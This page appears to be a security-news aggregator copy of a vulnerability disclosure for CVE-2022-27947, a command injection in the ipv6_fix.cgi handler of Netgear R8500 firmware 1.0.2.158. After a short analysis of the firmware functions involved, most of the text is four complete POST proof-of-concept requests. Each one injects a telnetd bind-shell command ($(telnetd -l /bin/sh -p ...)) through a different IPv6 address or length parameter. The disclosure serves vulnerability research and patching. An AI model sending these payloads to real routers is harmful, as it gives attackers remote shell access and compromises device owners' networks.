Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-27947: VUL/1.md at main · donothingme/VUL

NETGEAR R8500 1.0.2.158 devices allow remote authenticated users to execute arbitrary commands (such as telnetd) via shell metacharacters in the ipv6_fix.cgi ipv6_wan_ipaddr, ipv6_lan_ipaddr, ipv6_wan_length, or ipv6_lan_length parameter.

CVE
Open in Source
#vulnerability#web#windows#apple#git

Netgear R8500 Router Vulnerability****Basic infomation

  • Vendor: Netgear

  • Product: R8500

  • Firmware version: V1.0.2.158

  • Firmware download link: https://www.downloads.netgear.com/files/GDC/R8500/R8500-V1.0.2.158_1.0.105.zip

  • Type:Remote Command Execution

  • author:donothingme

Vulnerability description

We found a Command Injection vulnerability in Netgear R8500 router, which allows an authenticated attacker to execute arbitrary OS commands by a crafted request.

In http://www.routerlogin.net/IPV6_fixed.htm, we can set a fixed ipv6 address.

In this page, there are 4 vulnerability points can trigger vulnerability. The reasons for the vulnerability are the same, so we only analyze one of them, and give 4 pocs to trigger vulnerability .

We can locate the vulnerability function by string "ipv6_fix.cgi".

image-20220321154257360

In /usr/bin/http binary, the firmware save netword data to nvram.

In function sub_9B10C, the ipv6_wan_ipaddr/ipv6_lan_ipaddr/ ipv6_wan_length/ipv6_lan_lengthfield is directly saved in nvram config, and this field is directly controlled by attackers.

image-20220321154601683

In /sbin/acos_service binary, the firmware extract network data from nvram. And these data is directly controlled by attackers.

In sub_1F0C0, acosNvramConfig_get() get data from nvram.

image-20220321155054212

In sub_1D1AC, firmware execute system() use the data of attacker, it will cause command injection vulnerability.

image-20220321155143777

vulnerability point1

Some tips to trigger vulnerability:

  • Use IP address(192.168.1.1) instead of url(www.routerlogin.net) to access web page
  • Plug in the USB stick to make sure reproduce successfunly

In ipv6_wan_ipaddr filed, if we set the filed equal to %24%28telnetd+-l+%2Fbin%2Fsh+-p+9999+-b+0.0.0.0%29,we can actually execute command which $(telnetd -l /bin/sh -p 9999-b 0.0.0.0).

The POC like follows:

POST /ipv6_fix.cgi?id=a963685274e4a40fab8d712f1cc1f55f1f1a749a094a7ae1a06d9534db56ce3d HTTP/1.1
Host: 192.168.1.1
Proxy-Connection: keep-alive
Content-Length: 1089
Cache-Control: max-age=0
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.1/IPV6_fixed.htm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8
Cookie: XSRF_TOKEN=1222440606

apply=%E5%BA%94%E7%94%A8&login_type=%E9%9D%99%E6%80%81&IPv6WanAddr1=2001&IPv6WanAddr2=0000&IPv6WanAddr3=0000&IPv6WanAddr4=0000&IPv6WanAddr5=0000&IPv6WanAddr6=0000&IPv6WanAddr7=0000&IPv6WanAddr8=0000&ProfixWanLength=64&IPv6Gateway1=2001&IPv6Gateway2=0000&IPv6Gateway3=0000&IPv6Gateway4=0000&IPv6Gateway5=0000&IPv6Gateway6=0000&IPv6Gateway7=0000&IPv6Gateway8=0001&DAddr1=2001&DAddr2=0000&DAddr3=0000&DAddr4=0000&DAddr5=0000&DAddr6=0000&DAddr7=0000&DAddr8=0002&PDAddr1=&PDAddr2=&PDAddr3=&PDAddr4=&PDAddr5=&PDAddr6=&PDAddr7=&PDAddr8=&IpAssign=auto&IPv6LanAddr1=2002&IPv6LanAddr2=0000&IPv6LanAddr3=0000&IPv6LanAddr4=0000&IPv6LanAddr5=0000&IPv6LanAddr6=0000&IPv6LanAddr7=0000&IPv6LanAddr8=0001&ProfixLanLength=64&ipv6_wan_ipaddr=%24%28telnetd+-l+%2Fbin%2Fsh+-p+9999+-b+0.0.0.0%29&ipv6_lan_ipaddr=2002%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0001&ipv6_wan_length=64&ipv6_lan_length=64&ipv6_pri_dns=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0002&ipv6_sec_dns=%3A%3A%3A%3A%3A%3A%3A&ipv6_wan_gateway=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0001&ipv6_enable_dhcp=&ipv6_proto=fixed

And as we can see, after send the craft request, the command is actually executed, and we can get a shell.

image-20220321135622300

vulnerability point2

In ipv6_lan_ipaddr filed, if we set the filed equal to %24%28telnetd+-l+%2Fbin%2Fsh+-p+10000+-b+0.0.0.0%29,we can actually execute command which $(telnetd -l /bin/sh -p 10000-b 0.0.0.0).

image-20220321135927259

The POC like follows:

POST /ipv6_fix.cgi?id=14f6201985986f34fc5b9f88600e017cbf67d002b45a03f48ebb8b6396edc3f4 HTTP/1.1
Host: 192.168.1.1
Proxy-Connection: keep-alive
Content-Length: 1066
Cache-Control: max-age=0
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.1/IPV6_fixed.htm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8
Cookie: XSRF_TOKEN=2558749239

apply=Apply&login_type=Fixed&IPv6WanAddr1=2001&IPv6WanAddr2=0000&IPv6WanAddr3=0000&IPv6WanAddr4=0000&IPv6WanAddr5=0000&IPv6WanAddr6=0000&IPv6WanAddr7=0000&IPv6WanAddr8=0000&ProfixWanLength=64&IPv6Gateway1=2001&IPv6Gateway2=0000&IPv6Gateway3=0000&IPv6Gateway4=0000&IPv6Gateway5=0000&IPv6Gateway6=0000&IPv6Gateway7=0000&IPv6Gateway8=0001&DAddr1=2001&DAddr2=0000&DAddr3=0000&DAddr4=0000&DAddr5=0000&DAddr6=0000&DAddr7=0000&DAddr8=0002&PDAddr1=&PDAddr2=&PDAddr3=&PDAddr4=&PDAddr5=&PDAddr6=&PDAddr7=&PDAddr8=&IpAssign=auto&IPv6LanAddr1=2002&IPv6LanAddr2=0000&IPv6LanAddr3=0000&IPv6LanAddr4=0000&IPv6LanAddr5=0000&IPv6LanAddr6=0000&IPv6LanAddr7=0000&IPv6LanAddr8=0001&ProfixLanLength=64&ipv6_wan_ipaddr=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000&ipv6_lan_ipaddr=%24%28telnetd+-l+%2Fbin%2Fsh+-p+10000+-b+0.0.0.0%29&ipv6_wan_length=64&ipv6_lan_length=64&ipv6_pri_dns=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0002&ipv6_sec_dns=%3A%3A%3A%3A%3A%3A%3A&ipv6_wan_gateway=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0001&ipv6_enable_dhcp=&ipv6_proto=fixed

And as we can see, after send the craft request, the command is actually executed, and we can get a shell.

image-20220321140711686

vulnerability point3

In ipv6_wan_length filed, if we set the filed equal to %24%28telnetd+-l+%2Fbin%2Fsh+-p+11111+-b+0.0.0.0%29,we can actually execute command which $(telnetd -l /bin/sh -p 11111-b 0.0.0.0).

image-20220321141223903

The POC like follows:

POST /ipv6_fix.cgi?id=14f6201985986f34fc5b9f88600e017cbf67d002b45a03f48ebb8b6396edc3f4 HTTP/1.1
Host: 192.168.1.1
Proxy-Connection: keep-alive
Content-Length: 1066
Cache-Control: max-age=0
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.1/IPV6_fixed.htm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8
Cookie: XSRF_TOKEN=2558749239

apply=Apply&login_type=Fixed&IPv6WanAddr1=2001&IPv6WanAddr2=0000&IPv6WanAddr3=0000&IPv6WanAddr4=0000&IPv6WanAddr5=0000&IPv6WanAddr6=0000&IPv6WanAddr7=0000&IPv6WanAddr8=0000&ProfixWanLength=64&IPv6Gateway1=2001&IPv6Gateway2=0000&IPv6Gateway3=0000&IPv6Gateway4=0000&IPv6Gateway5=0000&IPv6Gateway6=0000&IPv6Gateway7=0000&IPv6Gateway8=0001&DAddr1=2001&DAddr2=0000&DAddr3=0000&DAddr4=0000&DAddr5=0000&DAddr6=0000&DAddr7=0000&DAddr8=0002&PDAddr1=&PDAddr2=&PDAddr3=&PDAddr4=&PDAddr5=&PDAddr6=&PDAddr7=&PDAddr8=&IpAssign=auto&IPv6LanAddr1=2002&IPv6LanAddr2=0000&IPv6LanAddr3=0000&IPv6LanAddr4=0000&IPv6LanAddr5=0000&IPv6LanAddr6=0000&IPv6LanAddr7=0000&IPv6LanAddr8=0000&ProfixLanLength=64&ipv6_wan_ipaddr=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000&ipv6_lan_ipaddr=2002%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000&ipv6_wan_length=%24%28telnetd+-l+%2Fbin%2Fsh+-p+11111+-b+0.0.0.0%29&ipv6_lan_length=64&ipv6_pri_dns=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0002&ipv6_sec_dns=%3A%3A%3A%3A%3A%3A%3A&ipv6_wan_gateway=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0001&ipv6_enable_dhcp=&ipv6_proto=fixed

And as we can see, after send the craft request, the command is actually executed, and we can get a shell.

image-20220321141706848

vulnerability point4

In ipv6_lan_length filed, if we set the filed equal to %24%28telnetd+-l+%2Fbin%2Fsh+-p+22222+-b+0.0.0.0%29,we can actually execute command which $(telnetd -l /bin/sh -p 22222-b 0.0.0.0).

image-20220321141804075

The POC like follows:

POST /ipv6_fix.cgi?id=211c9d0df6eb050404a90986a1f6b103d6f37b6a750dd1724caf349ff6393451 HTTP/1.1
Host: 192.168.1.1
Proxy-Connection: keep-alive
Content-Length: 1064
Cache-Control: max-age=0
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.1/IPV6_fixed.htm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8
Cookie: XSRF_TOKEN=4125904923

apply=%E5%BA%94%E7%94%A8&login_type=%E9%9D%99%E6%80%81&IPv6WanAddr1=2001&IPv6WanAddr2=0000&IPv6WanAddr3=0000&IPv6WanAddr4=0000&IPv6WanAddr5=0000&IPv6WanAddr6=0000&IPv6WanAddr7=0000&IPv6WanAddr8=0000&ProfixWanLength=64&IPv6Gateway1=2001&IPv6Gateway2=0000&IPv6Gateway3=0000&IPv6Gateway4=0000&IPv6Gateway5=0000&IPv6Gateway6=0000&IPv6Gateway7=0000&IPv6Gateway8=0002&DAddr1=2001&DAddr2=0000&DAddr3=0000&DAddr4=0000&DAddr5=0000&DAddr6=0000&DAddr7=0000&DAddr8=0003&PDAddr1=&PDAddr2=&PDAddr3=&PDAddr4=&PDAddr5=&PDAddr6=&PDAddr7=&PDAddr8=&IpAssign=auto&IPv6LanAddr1=2002&IPv6LanAddr2=0000&IPv6LanAddr3=0000&IPv6LanAddr4=0000&IPv6LanAddr5=0000&IPv6LanAddr6=0000&IPv6LanAddr7=0000&IPv6LanAddr8=0001&ProfixLanLength=64&ipv6_wan_ipaddr=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000&ipv6_lan_ipaddr=2002%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0001&ipv6_wan_length=64&ipv6_lan_length=%24%28telnetd+-l+%2Fbin%2Fsh+-p+22222+-b+0.0.0.0%29&ipv6_pri_dns=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0003&ipv6_sec_dns=%3A%3A%3A%3A%3A%3A%3A&ipv6_wan_gateway=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0002&ipv6_enable_dhcp=&ipv6_proto=fixed

And as we can see, after send the craft request, the command is actually executed, and we can get a shell.

image-20220321142518762

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE
CVE-2023-6905
CVE
CVE-2023-6903
CVE
CVE-2023-6904
CVE
CVE-2023-3907
CVE